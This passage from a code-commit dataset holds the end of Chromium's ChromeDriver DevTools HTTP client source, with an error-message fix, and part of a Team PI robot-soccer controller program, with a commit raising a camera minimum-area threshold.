Status(kUnknownError, \"version info not a dictionary\");\n if (!dict->GetString(\"Browser\", version)) {\n return Status(\n kUnknownError,\n \"Chrome version must be >= \" + GetMinimumSupportedChromeVersion(),\n Status(kUnknownError, \"version info doesn't include string 'Browser'\"));\n }\n return Status(kOk);\n}\n\n} \/\/ namespace internal\n<commit_msg>[chromedriver] Fix a confusing error message.<commit_after>\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/test\/chromedriver\/chrome\/devtools_http_client.h\"\n\n#include \"base\/bind.h\"\n#include \"base\/bind_helpers.h\"\n#include \"base\/json\/json_reader.h\"\n#include \"base\/strings\/string_number_conversions.h\"\n#include \"base\/strings\/string_split.h\"\n#include \"base\/strings\/stringprintf.h\"\n#include \"base\/threading\/platform_thread.h\"\n#include \"base\/time\/time.h\"\n#include \"base\/values.h\"\n#include \"chrome\/test\/chromedriver\/chrome\/devtools_client_impl.h\"\n#include \"chrome\/test\/chromedriver\/chrome\/log.h\"\n#include \"chrome\/test\/chromedriver\/chrome\/status.h\"\n#include \"chrome\/test\/chromedriver\/chrome\/version.h\"\n#include \"chrome\/test\/chromedriver\/chrome\/web_view_impl.h\"\n#include \"chrome\/test\/chromedriver\/net\/net_util.h\"\n#include \"chrome\/test\/chromedriver\/net\/url_request_context_getter.h\"\n\nnamespace {\n\nStatus FakeCloseFrontends() {\n return Status(kOk);\n}\n\n} \/\/ namespace\n\nWebViewInfo::WebViewInfo(const std::string& id,\n const std::string& debugger_url,\n const std::string& url,\n Type type)\n : id(id), debugger_url(debugger_url), url(url), type(type) {}\n\nWebViewInfo::~WebViewInfo() {}\n\nbool WebViewInfo::IsFrontend() const {\n return url.find(\"chrome-devtools:\/\/\") == 0u;\n}\n\nWebViewsInfo::WebViewsInfo() {}\n\nWebViewsInfo::WebViewsInfo(const std::vector<WebViewInfo>& info)\n : views_info(info) {}\n\nWebViewsInfo::~WebViewsInfo() {}\n\nconst WebViewInfo& WebViewsInfo::Get(int index) const {\n return views_info[index];\n}\n\nsize_t WebViewsInfo::GetSize() const {\n return views_info.size();\n}\n\nconst WebViewInfo* WebViewsInfo::GetForId(const std::string& id) const {\n for (size_t i = 0; i < views_info.size(); ++i) {\n if (views_info[i].id == id)\n return &views_info[i];\n }\n return NULL;\n}\n\nDevToolsHttpClient::DevToolsHttpClient(\n const NetAddress& address,\n scoped_refptr<URLRequestContextGetter> context_getter,\n const SyncWebSocketFactory& socket_factory)\n : context_getter_(context_getter),\n socket_factory_(socket_factory),\n server_url_(\"http:\/\/\" + address.ToString()),\n web_socket_url_prefix_(base::StringPrintf(\n \"ws:\/\/%s\/devtools\/page\/\", address.ToString().c_str())) {}\n\nDevToolsHttpClient::~DevToolsHttpClient() {}\n\nStatus DevToolsHttpClient::Init(const base::TimeDelta& timeout) {\n base::TimeTicks deadline = base::TimeTicks::Now() + timeout;\n std::string devtools_version;\n while (true) {\n Status status = GetVersion(&devtools_version);\n if (status.IsOk())\n break;\n if (status.code() != kChromeNotReachable ||\n base::TimeTicks::Now() > deadline) {\n return status;\n }\n base::PlatformThread::Sleep(base::TimeDelta::FromMilliseconds(50));\n }\n\n int kToTBuildNo = 9999;\n if (devtools_version.empty()) {\n \/\/ Content Shell has an empty product version and a fake user agent.\n \/\/ There's no way to detect the actual version, so assume it is tip of tree.\n version_ = \"content shell\";\n build_no_ = kToTBuildNo;\n return Status(kOk);\n }\n if (devtools_version.find(\"Version\/\") == 0u) {\n version_ = \"webview\";\n build_no_ = kToTBuildNo;\n return Status(kOk);\n }\n std::string prefix = \"Chrome\/\";\n if (devtools_version.find(prefix) != 0u) {\n return Status(kUnknownError,\n \"unrecognized Chrome version: \" + devtools_version);\n }\n\n std::string stripped_version = devtools_version.substr(prefix.length());\n int temp_build_no;\n std::vector<std::string> version_parts;\n base::SplitString(stripped_version, '.', &version_parts);\n if (version_parts.size() != 4 ||\n !base::StringToInt(version_parts[2], &temp_build_no)) {\n return Status(kUnknownError,\n \"unrecognized Chrome version: \" + devtools_version);\n }\n\n version_ = stripped_version;\n build_no_ = temp_build_no;\n return Status(kOk);\n}\n\nStatus DevToolsHttpClient::GetWebViewsInfo(WebViewsInfo* views_info) {\n std::string data;\n if (!FetchUrlAndLog(server_url_ + \"\/json\", context_getter_.get(), &data))\n return Status(kChromeNotReachable);\n\n return internal::ParseWebViewsInfo(data, views_info);\n}\n\nscoped_ptr<DevToolsClient> DevToolsHttpClient::CreateClient(\n const std::string& id) {\n return scoped_ptr<DevToolsClient>(new DevToolsClientImpl(\n socket_factory_,\n web_socket_url_prefix_ + id,\n id,\n base::Bind(\n &DevToolsHttpClient::CloseFrontends, base::Unretained(this), id)));\n}\n\nStatus DevToolsHttpClient::CloseWebView(const std::string& id) {\n std::string data;\n if (!FetchUrlAndLog(\n server_url_ + \"\/json\/close\/\" + id, context_getter_.get(), &data)) {\n return Status(kOk); \/\/ Closing the last web view leads chrome to quit.\n }\n\n \/\/ Wait for the target window to be completely closed.\n base::TimeTicks deadline =\n base::TimeTicks::Now() + base::TimeDelta::FromSeconds(20);\n while (base::TimeTicks::Now() < deadline) {\n WebViewsInfo views_info;\n Status status = GetWebViewsInfo(&views_info);\n if (status.code() == kChromeNotReachable)\n return Status(kOk);\n if (status.IsError())\n return status;\n if (!views_info.GetForId(id))\n return Status(kOk);\n base::PlatformThread::Sleep(base::TimeDelta::FromMilliseconds(50));\n }\n return Status(kUnknownError, \"failed to close window in 20 seconds\");\n}\n\nStatus DevToolsHttpClient::ActivateWebView(const std::string& id) {\n std::string data;\n if (!FetchUrlAndLog(\n server_url_ + \"\/json\/activate\/\" + id, context_getter_.get(), &data))\n return Status(kUnknownError, \"cannot activate web view\");\n return Status(kOk);\n}\n\nconst std::string& DevToolsHttpClient::version() const {\n return version_;\n}\n\nint DevToolsHttpClient::build_no() const {\n return build_no_;\n}\n\nStatus DevToolsHttpClient::GetVersion(std::string* version) {\n std::string data;\n if (!FetchUrlAndLog(\n server_url_ + \"\/json\/version\", context_getter_.get(), &data))\n return Status(kChromeNotReachable);\n\n return internal::ParseVersionInfo(data, version);\n}\n\nStatus DevToolsHttpClient::CloseFrontends(const std::string& for_client_id) {\n WebViewsInfo views_info;\n Status status = GetWebViewsInfo(&views_info);\n if (status.IsError())\n return status;\n\n \/\/ Close frontends. Usually frontends are docked in the same page, although\n \/\/ some may be in tabs (undocked, chrome:\/\/inspect, the DevTools\n \/\/ discovery page, etc.). Tabs can be closed via the DevTools HTTP close\n \/\/ URL, but docked frontends can only be closed, by design, by connecting\n \/\/ to them and clicking the close button. Close the tab frontends first\n \/\/ in case one of them is debugging a docked frontend, which would prevent\n \/\/ the code from being able to connect to the docked one.\n std::list<std::string> tab_frontend_ids;\n std::list<std::string> docked_frontend_ids;\n for (size_t i = 0; i < views_info.GetSize(); ++i) {\n const WebViewInfo& view_info = views_info.Get(i);\n if (view_info.IsFrontend()) {\n if (view_info.type == WebViewInfo::kPage)\n tab_frontend_ids.push_back(view_info.id);\n else if (view_info.type == WebViewInfo::kOther)\n docked_frontend_ids.push_back(view_info.id);\n else\n return Status(kUnknownError, \"unknown type of DevTools frontend\");\n }\n }\n\n for (std::list<std::string>::const_iterator it = tab_frontend_ids.begin();\n it != tab_frontend_ids.end(); ++it) {\n status = CloseWebView(*it);\n if (status.IsError())\n return status;\n }\n\n for (std::list<std::string>::const_iterator it = docked_frontend_ids.begin();\n it != docked_frontend_ids.end(); ++it) {\n scoped_ptr<DevToolsClient> client(new DevToolsClientImpl(\n socket_factory_,\n web_socket_url_prefix_ + *it,\n *it,\n base::Bind(&FakeCloseFrontends)));\n scoped_ptr<WebViewImpl> web_view(\n new WebViewImpl(*it, build_no_, client.Pass()));\n\n status = web_view->ConnectIfNecessary();\n \/\/ Ignore disconnected error, because the debugger might have closed when\n \/\/ its container page was closed above.\n if (status.IsError() && status.code() != kDisconnected)\n return status;\n\n scoped_ptr<base::Value> result;\n status = web_view->EvaluateScript(\n std::string(),\n \"document.querySelector('*[id^=\\\"close-button-\\\"]').click();\",\n &result);\n \/\/ Ignore disconnected error, because it may be closed already.\n if (status.IsError() && status.code() != kDisconnected)\n return status;\n }\n\n \/\/ Wait until DevTools UI disconnects from the given web view.\n base::TimeTicks deadline =\n base::TimeTicks::Now() + base::TimeDelta::FromSeconds(20);\n while (base::TimeTicks::Now() < deadline) {\n status = GetWebViewsInfo(&views_info);\n if (status.IsError())\n return status;\n\n const WebViewInfo* view_info = views_info.GetForId(for_client_id);\n if (!view_info)\n return Status(kNoSuchWindow, \"window was already closed\");\n if (view_info->debugger_url.size())\n return Status(kOk);\n\n base::PlatformThread::Sleep(base::TimeDelta::FromMilliseconds(50));\n }\n return Status(kUnknownError, \"failed to close UI debuggers\");\n}\n\nbool DevToolsHttpClient::FetchUrlAndLog(const std::string& url,\n URLRequestContextGetter* getter,\n std::string* response) {\n VLOG(1) << \"DevTools request: \" << url;\n bool ok = FetchUrl(url, getter, response);\n if (ok) {\n VLOG(1) << \"DevTools response: \" << *response;\n } else {\n VLOG(1) << \"DevTools request failed\";\n }\n return ok;\n}\n\nnamespace internal {\n\nStatus ParseWebViewsInfo(const std::string& data,\n WebViewsInfo* views_info) {\n scoped_ptr<base::Value> value(base::JSONReader::Read(data));\n if (!value.get())\n return Status(kUnknownError, \"DevTools returned invalid JSON\");\n base::ListValue* list;\n if (!value->GetAsList(&list))\n return Status(kUnknownError, \"DevTools did not return list\");\n\n std::vector<WebViewInfo> temp_views_info;\n for (size_t i = 0; i < list->GetSize(); ++i) {\n base::DictionaryValue* info;\n if (!list->GetDictionary(i, &info))\n return Status(kUnknownError, \"DevTools contains non-dictionary item\");\n std::string id;\n if (!info->GetString(\"id\", &id))\n return Status(kUnknownError, \"DevTools did not include id\");\n std::string type;\n if (!info->GetString(\"type\", &type))\n return Status(kUnknownError, \"DevTools did not include type\");\n std::string url;\n if (!info->GetString(\"url\", &url))\n return Status(kUnknownError, \"DevTools did not include url\");\n std::string debugger_url;\n info->GetString(\"webSocketDebuggerUrl\", &debugger_url);\n if (type == \"page\")\n temp_views_info.push_back(\n WebViewInfo(id, debugger_url, url, WebViewInfo::kPage));\n else if (type == \"other\")\n temp_views_info.push_back(\n WebViewInfo(id, debugger_url, url, WebViewInfo::kOther));\n else\n return Status(kUnknownError, \"DevTools returned unknown type:\" + type);\n }\n *views_info = WebViewsInfo(temp_views_info);\n return Status(kOk);\n}\n\nStatus ParseVersionInfo(const std::string& data,\n std::string* version) {\n scoped_ptr<base::Value> value(base::JSONReader::Read(data));\n if (!value.get())\n return Status(kUnknownError, \"version info not in JSON\");\n base::DictionaryValue* dict;\n if (!value->GetAsDictionary(&dict))\n return Status(kUnknownError, \"version info not a dictionary\");\n if (!dict->GetString(\"Browser\", version)) {\n return Status(\n kUnknownError,\n \"Chrome version must be >= \" + GetMinimumSupportedChromeVersion(),\n Status(kUnknownError, \"version info doesn't include string 'Browser'\"));\n }\n return Status(kOk);\n}\n\n} \/\/ namespace internal\n<|endoftext|>"} {"text":"<commit_before>\/*\n * master.cpp - master program for Team PI\n * \n * Wire(0) -> capTouch -> pixies -> SRF08s -> slave2 -> slave3\n * Wire1 -> slave1\n * by Brian Chen\n * (C) Team PI 2015\n *\/\n\n#include <WProgram.h>\n#include <i2c_t3.h>\n#include <SPI.h>\n#include <slaves.h>\n#include <piCommon.h>\n#include <PixyI2C.h> \/\/ modified for i2c_t3\n#include <SRF08.h>\n#include <fastTrig.h>\n#include <PID.h>\n#include <DebugUtils.h>\n\n#define LED 13\n\n#define RAMMING_SPEED 200\n#define NORMAL_SPEED 130\n\nuint32_t loopCount = 0;\n\n\/**********************************************************\/\n\/*\t\t\t\t\t Slave1 \t\t\t\t\t\t *\/\n\/**********************************************************\/\nunion float2bytes { float f; uint8_t b[sizeof(float)]; };\nfloat2bytes f2b;\nuint8_t inBuffer[22] = {0};\nfloat bearing;\nfloat bearing_offset;\nint32_t bearing_int;\n\n\/**********************************************************\/\n\/* Orbit *\/\n\/**********************************************************\/\nfloat orbit_l = 0.5;\nfloat orbit_k = 1.0;\nint16_t targetDir;\nuint8_t targetVelocity;\n\n\/**********************************************************\/\n\/* Face forwards *\/\n\/**********************************************************\/\n#define BEARING_KP 0.8\n#define BEARING_KD 0\n\nint32_t targetBearing = 0;\nint32_t rotatationCorrection;\n\nPID bearingPID (&bearing_int, &rotatationCorrection, &targetBearing,\n\tBEARING_KP, 0, BEARING_KD, -255, 255, 1000);\n\n\n\/**********************************************************\/\n\/* Backspin *\/\n\/**********************************************************\/\nint16_t backspinSpeed = 0;\n\n\/**********************************************************\/\n\/* Kicker *\/\n\/**********************************************************\/\n#define KICK_TIME 4000\n#define KICK_DELAY 30\n#define KICK_DURATION 90\n\n#define KICK_SIG 21\n#define KICK_ANA A3\n\nbool kicking = false;\nbool kickDelayComplete = false;\nelapsedMillis capChargedTime = 0;\n\n\/**********************************************************\/\n\/*\t\t\t\t\t Camera \t\t\t\t\t\t *\/\n\/**********************************************************\/\n#define PIXY1_ADDRESS 0x54 \/\/ default i2c address\n\n#define MIN_BLOCK_AREA 200\n\nPixyI2C pixy1(PIXY1_ADDRESS);\n\nint16_t blocks = 0;\n\nint16_t goalAngle = 0;\nint16_t goalAngle_rel_field = 0;\nuint16_t goalArea = 0;\n\nelapsedMillis lGoalDetectTime = 0;\n\nbool goalDetected = false;\n\n\/**********************************************************\/\n\/*\t\t\t\t\t Ultrasonics\t\t\t\t\t *\/\n\/**********************************************************\/\n#define SRF_BACK_ADDRESS 0x70 \/\/ 0xE0\n#define SRF_RIGHT_ADDRESS 0x71 \/\/ 0xE2\n#define SRF_LEFT_ADDRESS 0x72 \/\/ 0xE4\n\nSRF08 srfBack(SRF_BACK_ADDRESS);\nSRF08 srfRight(SRF_RIGHT_ADDRESS);\nSRF08 srfLeft(SRF_LEFT_ADDRESS);\n\nint16_t backDistance, rightDistance, leftDistance;\n\n\/**********************************************************\/\n\/*\t\t\t\t\t TSOPS \t\t\t\t\t *\/\n\/**********************************************************\/\n\nuint8_t tsopAngleByte;\nint16_t tsopAngle;\nint16_t tsopAngle_r_goal; \/\/ tsop angle relative to goal\nuint8_t tsopStrength;\nuint8_t ballDistance;\n\nuint8_t tsopData[24] = {0};\n\n\n\/**********************************************************\/\n\/*\t\t\t\t\t LASER \t\t\t\t\t *\/\n\/**********************************************************\/\n#define LASER_SIG A1\n#define LASER_REF 152\n\nbool ballInZone = false;\n\nvoid kick(){\n\tif (!kicking){\n\t\t\/\/ not yet kicking start kick\n\t\tkicking = true;\n\t\tcapChargedTime = 0;\n\t\tSerial.print(millis());\n\t\tSerial.println(\"KICK_MOTORS\");\n\t}\t\n}\n\nvoid checkEndKick(){\n\tif (kicking){\n\t\tif (!kickDelayComplete && capChargedTime > KICK_DELAY){\n\t\t\tkickDelayComplete = true;\n\t\t\tdigitalWriteFast(KICK_SIG, HIGH);\n\t\t\tcapChargedTime = 0; \/\/ now effectively discharge time\n\t\t\tSerial.print(millis());\n\t\t\tSerial.println(\"KICK\");\n\t\t}\n\t\telse if (kickDelayComplete){\n\t\t\t\/\/ currently actually kicking\n\t\t\tif (capChargedTime >= KICK_DURATION){\n\t\t\t\t\/\/ end kick\n\t\t\t\tkicking = false;\n\t\t\t\tkickDelayComplete = false;\n\t\t\t\tdigitalWriteFast(KICK_SIG, LOW);\n\t\t\t\tcapChargedTime = 0;\n\t\t\t\t\/\/Serial.print(analogRead(KICK_ANA));\n\t\t\t\tSerial.print(millis());\n\t\t\t\tSerial.println(\"END\");\n\t\t\t}\n\t\t}\n\t}\n\telse{\n\t\tdigitalWriteFast(KICK_SIG, LOW);\n\t}\n}\n\nvoid calibIMUOffset(){\n\tSlave1.requestPacket(SLAVE1_COMMANDS::CALIB_OFFSET);\n\t\/\/ for (int i = 0; i < 50; i++){\n\t\/\/ \tSlave1.requestPacket(SLAVE1_COMMANDS::REQUEST_STANDARD_PACKET);\n\t\/\/ \tSlave1.receivePacket(inBuffer, 7, true);\n\t\t\n\t\/\/ \tf2b.b[0] = inBuffer[2];\n\t\/\/ \tf2b.b[1] = inBuffer[3];\n\t\/\/ \tf2b.b[2] = inBuffer[4];\n\t\/\/ \tf2b.b[3] = inBuffer[5];\n\t\/\/ \tbearing_offset += -f2b.f;\n\t\/\/ \tdelay(1);\n\t\/\/ }\n\t\/\/ bearing_offset \/= 50;\n}\n\nvoid getSlave1Data(){\n\tSlave1.requestPacket(SLAVE1_COMMANDS::REQUEST_STANDARD_PACKET);\n\tSlave1.receivePacket(inBuffer, 7, true);\n\t\n\tf2b.b[0] = inBuffer[2];\n\tf2b.b[1] = inBuffer[3];\n\tf2b.b[2] = inBuffer[4];\n\tf2b.b[3] = inBuffer[5];\n\n\tbearing = f2b.f;\n\tbearing_int = (int32_t)(bearing);\n\tTOBEARING180(bearing_int);\n\tTOBEARING180(bearing);\n}\n\nvoid getSlave2Data(){\n\tSlave2.getTSOPAngleStrength(tsopAngle, tsopStrength);\n\tTOBEARING180(tsopAngle);\n\ttsopAngle_r_goal = tsopAngle - goalAngle;\n\tTOBEARING180(tsopAngle_r_goal);\n}\n\nvoid getGoalData(){\n\tgoalArea = pixy1.blocks[0].width * pixy1.blocks[0].height;\n\n\tif (blocks > 0 && blocks < 1000\n\t\t&& goalArea > MIN_BLOCK_AREA\n\t\t&& abs(bearing) < 90\n\t\t){\n\t\tgoalDetected = true;\n\t\tgoalAngle = (pixy1.blocks[0].x - 160) * 75 \/ 360;\t\n\t\tgoalAngle_rel_field = goalAngle + bearing_int;\n\t\tlGoalDetectTime = 0;\t\t\n\t}\n\telse if (lGoalDetectTime > 100){\n\t\t\/\/ hasn't seen goal for 100ms\n\t\tgoalDetected = false;\n\t\tgoalAngle = 0;\n\t}\n}\n\nvoid getBackspinSpeed(){\n\tif (!kicking){\n\t\tif (tsopStrength > 70){\n\t\t\tif (abs(targetDir) < 60){\n\t\t\t\tif (ballInZone){\n\t\t\t\t\t\/\/ we're going forwards and we have the ball\n\t\t\t\t\t\/\/ no need for too much spin\n\t\t\t\t\tbackspinSpeed = 200;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t\/\/ forwards but ball not here yet!\n\t\t\t\t\tbackspinSpeed = 200;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tif (ballInZone){\n\t\t\t\t\t\/\/ we're not going forwards but we have the ball\n\t\t\t\t\t\/\/ best to spin a bit more as we need to guide the ball more\n\t\t\t\t\tbackspinSpeed = 150;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t\/\/ most common. Should only spin when ball is in front\n\t\t\t\t\tif (abs(tsopAngle) < 60){\n\t\t\t\t\t\tbackspinSpeed = 120;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t\/\/ no chance of getting ball any time soon\n\t\t\t\t\t\tbackspinSpeed = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\t\/\/ no ball detected!\n\t\t\tbackspinSpeed = 0;\n\t\t}\n\t}\n\telse{\n\t\tbackspinSpeed = -255;\n\t}\n}\n\nvoid checkBallInZone(){\n\tif (analogRead(LASER_SIG) < LASER_REF \n\t && abs(tsopAngle) < 30\n\t && tsopStrength > 150){\n\t\tballInZone = true;\n\t}\n\telse{\n\t\tballInZone = false;\n\t}\n}\n\nvoid serialDebug(){\n\tSerial.printf(\"%d\\t%d\\t%d\\t%.0f\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\n\",\n\t\t\t\t micros(),\n\t\t\t\t goalAngle_rel_field,\n\t\t\t\t goalArea,\n\t\t\t\t bearing,\n\t\t\t\t backDistance,\n\t\t\t\t rightDistance,\n\t\t\t\t leftDistance,\n\t\t\t\t tsopAngle,\n\t\t\t\t tsopStrength,\n\t\t\t\t ballInZone,\n\t\t\t\t targetDir,\n\t\t\t\t targetVelocity,\n\t\t\t\t rotatationCorrection);\n\n\tif(Serial.available()){\n\t\tchar serialCommand = Serial.read();\n\t\tCLEARSERIAL(); \/\/ make sure you only read first byte and clear everything else\n\t\tif (serialCommand == 'i'){\n\t\t\tSerial.println(\"DEBUG INFO\");\n\t\t\tSerial.printf(\"%s %s %s %s %s %s %s %s %s %s %s %s %s %s \\n\",\n\t\t\t\t \"micros()\",\n\t\t\t\t \"goalAngle_rel_field\",\n\t\t\t\t \"goalArea\",\n\t\t\t\t \"bearing\",\n\t\t\t\t \"backDistance\",\n\t\t\t\t \"rightDistance\",\n\t\t\t\t \"leftDistance\",\n\t\t\t\t \"tsopAngle\",\n\t\t\t\t \"tsopStrength\",\n\t\t\t\t \"ballInZone\",\n\t\t\t\t \"targetDir\",\n\t\t\t\t \"targetVelocity\",\n\t\t\t\t \"rotatationCorrection\");\n\t\t\tSerial.println(\"PRESS ANY KEY TO CONTINUE\");\n\t\t\t\/\/ wait for key\n\t\t\twhile(!Serial.available());\n\t\t\tCLEARSERIAL();\n\t\t}\n\t\telse{\n\t\t\tSerial.println(\"UNKNOWN COMMAND\");\n\t\t}\n\t}\n}\n\nint main(void){\t\n\tSerial.begin(115200);\n\n\tWire.begin(I2C_MASTER, 0x00, I2C_PINS_18_19, I2C_PULLUP_EXT, I2C_RATE_400);\n\n\tSPI.setSCK(14);\n\tSPI.begin();\t\n\n\tSlave1.begin(115200);\n\tSlave2.begin();\n\tSlave3.begin();\n\n\tpinMode(LED, OUTPUT);\n\tpinMode(LASER_SIG, INPUT);\n\n\tpinMode(KICK_SIG, OUTPUT);\n\tpinMode(KICK_ANA, INPUT);\n\n\tdigitalWrite(KICK_SIG, LOW);\n\n\tdigitalWrite(LED, HIGH);\n\n\tdelay(1000);\n\t\n\tcalibIMUOffset();\n\n\twhile(1){\t\t\n\t\t\/\/ save some time here as reading srf08's has seen to dramatically decrease performance\n\t\tswitch(loopCount % 4){\n\t\t\tcase 0: blocks = pixy1.getBlocks(); break;\n\t\t\tcase 1: srfBack.getRangeIfCan(backDistance); break;\n\t\t\tcase 2: srfRight.getRangeIfCan(rightDistance); break;\n\t\t\tcase 3: srfLeft.getRangeIfCan(leftDistance); break;\n\t\t}\n\n\t\t\/* orientation\/imu *\/\n\t\tgetSlave1Data();\n\t\t\/* end orientation\/imu *\/\n\n\t\t\/* tsops *\/\n\t\tgetSlave2Data();\n\t\t\/* end tsops *\/\n\n\t\t\/* goal detection *\/\n\t\tgetGoalData();\n\t\t\/* end goal detection *\/\n\n\t\t\/* face forwards *\/\n\t\tif (goalDetected){\n\t\t\ttargetBearing = goalAngle_rel_field;\n\t\t}\n\t\telse{\n\t\t\ttargetBearing = 0;\n\t\t}\n\n\t\tbearingPID.update();\n\t\t\/* end face forwards *\/\n\n\t\t\/* ball in zone *\/\n\t\tcheckBallInZone();\n\t\t\/* end ball in zone *\/\n\n\t\t\/*movement control*\/\n\n\t\ttargetVelocity = NORMAL_SPEED;\n\n\t\torbit_k = 1;\n\n\t\tif (tsopStrength > 156){\n\t\t\torbit_k = 1.1;\n\t\t}\n\t\telse if (tsopStrength > 150){\n\t\t\torbit_k = 1.05;\n\t\t}\n\t\telse if (tsopStrength > 140){\n\t\t\torbit_k = 1.0;\n\t\t}\n\t\telse if (tsopStrength > 130){\n\t\t\torbit_k = 1.0;\n\t\t}\n\t\telse if (tsopStrength > 120){\n\t\t\torbit_k = 1;\n\t\t}\n\t\telse if (tsopStrength > 100){\n\t\t\torbit_k = 1;\n\t\t}\n\t\telse if (tsopStrength > 70){\n\t\t\torbit_k = 1;\n\t\t}\n\t\telse{\n\t\t\ttargetVelocity = 0;\n\t\t}\n\n\n\t\t\/\/ if (tsopAngle > 90){\n\t\t\/\/ \ttargetDir = (orbit_k * 180 - 90 + tsopAngle);\n\t\t\/\/ }\n\t\t\/\/ else if (tsopAngle < -90){\n\t\t\/\/ \ttargetDir = (orbit_k * -180 + 90 + tsopAngle);\n\t\t\/\/ }\n\t\t\/\/ else{\n\t\t\ttargetDir = orbit_k * (270 - abs(tsopAngle)) \/ 90 * tsopAngle;\n\t\t\/\/ }\n\t\tgoalDetected = true;\n\t\tgoalAngle = 0;\n\t\tif (ballInZone && goalDetected && abs(goalAngle) < 10){\n\t\t\t\/\/ GO!\n\t\t\ttargetDir = goalAngle;\n\t\t\ttargetVelocity = RAMMING_SPEED;\n\t\t\t\/\/ kick!\n\t\t\tif (capChargedTime > KICK_TIME){\n\t\t\t\tkick();\n\t\t\t}\n\t\t}\n\t\tcheckEndKick();\n\n\t\t\/* end movement control *\/\n\n\t\t\/* backspin control *\/\n\t\tgetBackspinSpeed();\n\t\t\/* end backspin control *\/\n\n\t\tif (targetDir < 0) targetDir += 360;\n\t\ttargetDir = targetDir * 255\/360;\n\n\t\t\/\/ Slave3.moveRobot((uint8_t)targetDir, targetVelocity, rotatationCorrection);\n\t\tSlave3.moveMotorE(backspinSpeed);\n\n\t\t\/* debugging *\/\n\t\tserialDebug();\n\t\t\/* end debugging *\/\n\n\t\tloopCount++; \/\/ update loop count\n\t}\n}<commit_msg>increased min block area to reaonsable size<commit_after>\/*\n * master.cpp - master program for Team PI\n * \n * Wire(0) -> capTouch -> pixies -> SRF08s -> slave2 -> slave3\n * Wire1 -> slave1\n * by Brian Chen\n * (C) Team PI 2015\n *\/\n\n#include <WProgram.h>\n#include <i2c_t3.h>\n#include <SPI.h>\n#include <slaves.h>\n#include <piCommon.h>\n#include <PixyI2C.h> \/\/ modified for i2c_t3\n#include <SRF08.h>\n#include <fastTrig.h>\n#include <PID.h>\n#include <DebugUtils.h>\n\n#define LED 13\n\n#define RAMMING_SPEED 200\n#define NORMAL_SPEED 130\n\nuint32_t loopCount = 0;\n\n\/**********************************************************\/\n\/*\t\t\t\t\t Slave1 \t\t\t\t\t\t *\/\n\/**********************************************************\/\nunion float2bytes { float f; uint8_t b[sizeof(float)]; };\nfloat2bytes f2b;\nuint8_t inBuffer[22] = {0};\nfloat bearing;\nfloat bearing_offset;\nint32_t bearing_int;\n\n\/**********************************************************\/\n\/* Orbit *\/\n\/**********************************************************\/\nfloat orbit_l = 0.5;\nfloat orbit_k = 1.0;\nint16_t targetDir;\nuint8_t targetVelocity;\n\n\/**********************************************************\/\n\/* Face forwards *\/\n\/**********************************************************\/\n#define BEARING_KP 0.8\n#define BEARING_KD 0\n\nint32_t targetBearing = 0;\nint32_t rotatationCorrection;\n\nPID bearingPID (&bearing_int, &rotatationCorrection, &targetBearing,\n\tBEARING_KP, 0, BEARING_KD, -255, 255, 1000);\n\n\n\/**********************************************************\/\n\/* Backspin *\/\n\/**********************************************************\/\nint16_t backspinSpeed = 0;\n\n\/**********************************************************\/\n\/* Kicker *\/\n\/**********************************************************\/\n#define KICK_TIME 4000\n#define KICK_DELAY 30\n#define KICK_DURATION 90\n\n#define KICK_SIG 21\n#define KICK_ANA A3\n\nbool kicking = false;\nbool kickDelayComplete = false;\nelapsedMillis capChargedTime = 0;\n\n\/**********************************************************\/\n\/*\t\t\t\t\t Camera \t\t\t\t\t\t *\/\n\/**********************************************************\/\n#define PIXY1_ADDRESS 0x54 \/\/ default i2c address\n\n#define MIN_BLOCK_AREA 1500\n\nPixyI2C pixy1(PIXY1_ADDRESS);\n\nint16_t blocks = 0;\n\nint16_t goalAngle = 0;\nint16_t goalAngle_rel_field = 0;\nuint16_t goalArea = 0;\n\nelapsedMillis lGoalDetectTime = 0;\n\nbool goalDetected = false;\n\n\/**********************************************************\/\n\/*\t\t\t\t\t Ultrasonics\t\t\t\t\t *\/\n\/**********************************************************\/\n#define SRF_BACK_ADDRESS 0x70 \/\/ 0xE0\n#define SRF_RIGHT_ADDRESS 0x71 \/\/ 0xE2\n#define SRF_LEFT_ADDRESS 0x72 \/\/ 0xE4\n\nSRF08 srfBack(SRF_BACK_ADDRESS);\nSRF08 srfRight(SRF_RIGHT_ADDRESS);\nSRF08 srfLeft(SRF_LEFT_ADDRESS);\n\nint16_t backDistance, rightDistance, leftDistance;\n\n\/**********************************************************\/\n\/*\t\t\t\t\t TSOPS \t\t\t\t\t *\/\n\/**********************************************************\/\n\nuint8_t tsopAngleByte;\nint16_t tsopAngle;\nint16_t tsopAngle_r_goal; \/\/ tsop angle relative to goal\nuint8_t tsopStrength;\nuint8_t ballDistance;\n\nuint8_t tsopData[24] = {0};\n\n\n\/**********************************************************\/\n\/*\t\t\t\t\t LASER \t\t\t\t\t *\/\n\/**********************************************************\/\n#define LASER_SIG A1\n#define LASER_REF 152\n\nbool ballInZone = false;\n\nvoid kick(){\n\tif (!kicking){\n\t\t\/\/ not yet kicking start kick\n\t\tkicking = true;\n\t\tcapChargedTime = 0;\n\t\tSerial.print(millis());\n\t\tSerial.println(\"KICK_MOTORS\");\n\t}\t\n}\n\nvoid checkEndKick(){\n\tif (kicking){\n\t\tif (!kickDelayComplete && capChargedTime > KICK_DELAY){\n\t\t\tkickDelayComplete = true;\n\t\t\tdigitalWriteFast(KICK_SIG, HIGH);\n\t\t\tcapChargedTime = 0; \/\/ now effectively discharge time\n\t\t\tSerial.print(millis());\n\t\t\tSerial.println(\"KICK\");\n\t\t}\n\t\telse if (kickDelayComplete){\n\t\t\t\/\/ currently actually kicking\n\t\t\tif (capChargedTime >= KICK_DURATION){\n\t\t\t\t\/\/ end kick\n\t\t\t\tkicking = false;\n\t\t\t\tkickDelayComplete = false;\n\t\t\t\tdigitalWriteFast(KICK_SIG, LOW);\n\t\t\t\tcapChargedTime = 